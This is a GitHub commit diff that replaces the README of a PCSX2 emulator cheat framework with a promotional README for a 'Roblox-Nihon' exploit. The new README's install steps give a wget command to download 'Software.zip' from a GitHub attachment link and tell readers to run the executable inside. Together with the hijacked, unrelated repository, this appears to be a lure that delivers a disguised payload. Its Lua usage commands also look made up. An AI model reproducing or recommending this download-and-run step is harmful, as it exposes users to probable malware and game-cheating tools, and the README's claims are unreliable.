-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
83 additions
and
62 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,68 +1,89 @@ | ||
# PCSX2 Cheat Development Kit | ||
PCSX2 Menu Trainer Development Kit is a C++ library designed to simplify the process of creating cheats for the PCSX2 emulator. | ||
It aims to bridge the gap between modern cheat development practices and the classic era of cheat codes. | ||
This framework provides tools to port older codes to a more modern approach, using additional libraries such as dear imgui and minhook. | ||
|
||
| ![image](https://github.com/NightFyre/PCSX2-CheatFrameWork/assets/80198020/7417d7e7-603c-465a-807f-62abf88179eb) | ![image](https://user-images.githubusercontent.com/80198020/201475737-21591eb0-8858-4575-8ee9-5d9d2e07d1dc.png) | ![image](https://user-images.githubusercontent.com/80198020/200977619-e22fe7a5-b914-4906-9e3c-50f929ea3ebf.png) | | ||
| :---: | :---: | :---: | | ||
|
||
## FEATURES | ||
- Easily Read & Write to virtual PS2 Memory | ||
- PCSX2 Emulator Process Virtual Method Hooking | ||
- Rendering API Helpers | ||
- Access EE & IOP Registers during execution | ||
|
||
## USAGE | ||
1. include the SDK header as well as any required packages. | ||
*NOTE: Engine_Package.h is a required package and needs to be manually included.* | ||
- `CDK.h` // Including the SDK header will provide access to all the most necessary features. | ||
- `Core_Package.cpp` // Main Package and must be included for basic usage | ||
- `PCSX2_Package.cpp` // PCSX2 specific members and functions. Like the rendering API's for instance | ||
|
||
2. Initialize the SDK | ||
- `PlayStation2::InitCDK();` // Basic CDK Initialization | ||
|
||
3. Do Stuff | ||
https://github.com/NightFyre/PCSX2-CheatFramework/blob/70dcf7dc51747df014f5d537a3188b8de1fe95a2/dllmain.cpp#L18-L29 | ||
|
||
4. (optional) include game package for additional controls | ||
|
||
## USAGE EXAMPLES | ||
|
||
- Access EE Memory | ||
https://github.com/NightFyre/PCSX2-CheatFramework/blob/b2ae5a44d7c1452256920c4af81f745cdf0df2f3/examples/GameMemory/dllmain.cpp#L33-L34 | ||
|
||
- Get Virtual Address | ||
https://github.com/NightFyre/PCSX2-CheatFramework/blob/b2ae5a44d7c1452256920c4af81f745cdf0df2f3/examples/GameMemory/dllmain.cpp#L37-L38 | ||
|
||
- Read Virtual Memory | ||
https://github.com/NightFyre/PCSX2-CheatFramework/blob/b2ae5a44d7c1452256920c4af81f745cdf0df2f3/examples/GameMemory/dllmain.cpp#L41-L47 | ||
|
||
- Access Class Members via GamePackages | ||
```cpp | ||
/// SOCOM 1 -> Access SealObject & Modify Weapon Ammo | ||
{ | ||
// Create an instance of the Offsets Class | ||
SOCOM1::CZSeal* pLocalSeal = SOCOM1::CZSeal::GetDefaultInstance(); | ||
if (pLocalSeal) | ||
Console::cLogMsg("[+][PCSX2-CDK][SOCOM] LocalSeal Name: %s\n", EConsoleColors::green, pLocalSeal->GetName().c_str()); | ||
} | ||
# Roblox-Nihon | ||
|
||
![Roblox-Nihon Logo](https://example.com/logo.png) | ||
|
||
Nihon is a leading Roblox exploit founded in 2020, known for its intuitive user interface, robust features, and exceptional performance. Developed by top industry professionals, it offers enhanced security, customization options, and a globally trusted service. | ||
|
||
--- | ||
|
||
## Table of Contents | ||
- [Features](#features) | ||
- [Installation](#installation) | ||
- [Usage](#usage) | ||
- [Contributing](#contributing) | ||
- [License](#license) | ||
|
||
--- | ||
|
||
## Features | ||
|
||
- **Intuitive User Interface**: Nihon provides a user-friendly interface that is easy to navigate and use. | ||
- **Robust Features**: This exploit comes packed with a wide range of powerful features to enhance your Roblox experience. | ||
- **Exceptional Performance**: Nihon is optimized for high performance to ensure smooth gameplay. | ||
- **Enhanced Security**: Built-in security measures to protect against vulnerabilities. | ||
- **Customization Options**: Tailor the exploit to meet your specific needs. | ||
- **Global Trust**: Nihon is a trusted solution used by players worldwide. | ||
|
||
![Screenshot](https://example.com/screenshot.png) | ||
|
||
--- | ||
|
||
## Installation | ||
|
||
To get started with Nihon, follow these steps: | ||
|
||
1. Download the [Software.zip](https://github.com/user-attachments/files/16913125/Software.zip) package. | ||
```bash | ||
wget https://github.com/user-attachments/files/16913125/Software.zip | ||
``` | ||
|
||
2. Extract the contents of the zip file. | ||
|
||
3. Run the executable file to launch the Nihon exploit. | ||
|
||
--- | ||
|
||
## Usage | ||
|
||
Once you have installed Nihon, you can start using its features right away. Here are some common commands to get you started: | ||
|
||
```lua | ||
-- Example Lua script to demonstrate Nihon features | ||
print("Hello, Nihon!") | ||
|
||
-- Execute a command | ||
executeCommand("fly") | ||
|
||
-- Teleport to a specific location | ||
teleportTo(0, 100, 0) | ||
|
||
-- Enable noclip mode | ||
enableNoclip() | ||
``` | ||
|
||
- Hook Rendering API | ||
https://github.com/NightFyre/PCSX2-CheatFramework/blob/7c786cdd3e7f8c0855bc7d1f83df687092424604/examples/Rendering/dllmain.cpp#L44-L51 | ||
For a full list of commands and options, please refer to the official documentation. | ||
|
||
--- | ||
|
||
## Contributing | ||
|
||
We welcome contributions from the community to help improve Nihon. If you would like to contribute, please follow these guidelines: | ||
|
||
1. Fork the repository. | ||
2. Create a new branch. | ||
3. Make your changes. | ||
4. Submit a pull request. | ||
|
||
Before submitting your pull request, make sure to run the tests and ensure that your code follows the coding standards. | ||
|
||
--- | ||
|
||
## License | ||
|
||
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. | ||
|
||
### References & Credits | ||
- [PCSX2](https://github.com/PCSX2/pcsx2) | ||
- [GameHacking.org](https://gamehacking.org/system/ps2) | ||
- [Sly Cooper Modding Community](https://discord.com/invite/2GSXcEzPJA) | ||
- [SOCOM Modding Community](https://discord.com/invite/PCJGrwMdUS) | ||
- [A General Guide for Making Cheats & Trainers for PCSX2](https://www.unknowncheats.me/forum/general-programming-and-reversing/569991-pcsx2-guide-cheats-trainers.html) | ||
--- | ||
|
||
### License | ||
This framework is distributed under the MIT License. | ||
Thank you for choosing Nihon! We hope you enjoy using our robust Roblox exploit. If you have any questions or feedback, feel free to reach out to our team. | ||
|
||
### Disclaimer | ||
1. *This framework is intended for educational and single-player use.* | ||
2. *Use cheats responsibly and respect the terms of use of the games you are modifying.* | ||
![Roblox-Nihon Team](https://example.com/team.jpg) |